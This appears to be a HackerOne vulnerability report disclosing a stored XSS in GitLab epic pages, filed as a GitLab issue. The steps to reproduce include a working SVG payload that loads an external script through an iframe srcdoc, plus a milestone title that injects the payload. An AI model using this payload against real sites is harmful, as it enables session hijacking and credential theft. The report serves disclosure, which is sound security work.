Stored XSS in epic's pages

HackerOne report #1055814 by mike12 on 2020-12-10, assigned to @rchan-gitlab:

Report | Attachments | How To Reproduce

Report

Hi Gitlab!

It's possible to inject arbitrary JS code into an epic's page using the Start date and Due date.

This XSS works for:

gitlab.com using Firefox (tested in Firefox 83.0)
A self-hosted GitLab instance without CSP using Safari (tested in Safari 13.1), Chrome (tested in Chrome 87.0.4280.88) or Firefox

Steps to reproduce using Firefox

Open your browser and navigate to https://gitlab.com
Create a group and a project in it

Add a file named demo.svg to the project with the following content:

&lt;svg id=&#34;x&#34;  
     xmlns=&#34;http://www.w3.org/2000/svg&#34;  
     width=&#34;100&#34;  
     height=&#34;100&#34;  
&gt;  
    &lt;foreignObject&gt;  
        &lt;iframe xmlns=&#34;http://www.w3.org/1999/xhtml&#34;  
                srcdoc=&#39;&amp;lt;script src=https://gitlab.com/mike12-h1/csp/-/raw/master/index.js&amp;gt; &amp;lt;/script&amp;gt;&#39;&gt;&lt;/iframe&gt;  
    &lt;/foreignObject&gt;

    &lt;image href=&#34;foo&#34; onerror=&#34;alert(&#39;onerror&#39;)&#34;/&gt;

    &lt;a xmlns:xlink=&#34;http://www.w3.org/1999/xlink&#34; xlink:href=&#34;javascript:alert(&#39;xlink:href&#39;)&#34;&gt;  
        &lt;circle cx=&#34;50&#34; cy=&#34;50&#34; r=&#34;40&#34; stroke=&#34;black&#34; stroke-width=&#34;3&#34; fill=&#34;red&#34;/&gt;  
        &lt;text x=&#34;50%&#34; y=&#34;50%&#34; text-anchor=&#34;middle&#34; stroke=&#34;#000000&#34; stroke-width=&#34;1px&#34; dy=&#34;.3em&#34;&gt;Click me&lt;/text&gt;  
    &lt;/a&gt;  
&lt;/svg&gt;

Create a new epic in the group
Create a new issue in the project
Assign the created epic to the issue
Create a new milestone in the project
1. Title: &lt;svg width=&quot;100&quot;&gt;&lt;use xlink:href=&quot;/<YOUR-GROUP-NAME>/<YOUR-PROJECT>/-/raw/master/demo.svg#x&quot; /&gt;&lt;/svg&gt; (Replace <YOUR-GROUP-NAME> and <YOUR-PROJECT> with your values)
2. Specify any valid Start Date and Due Date values
Assign the created milestone to the issue
Navigate to the epic created in step 4
Hover your mouse over the inherited due date

Steps to reproduce using Safari

Run a self-hosted Gitlab instance
Repeat steps 2 through 10 from the "Steps to reproduce using Firefox" section.

Steps to reproduce using Chrome

Run a self-hosted Gitlab instance
Repeat steps 2 through 10 from the "Steps to reproduce using Firefox" section.
Click the red circle in the due date tooltip.

Impact

An attacker can:

Perform any action within the application that a user can perform
Steal sensitive user data, including credentials

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: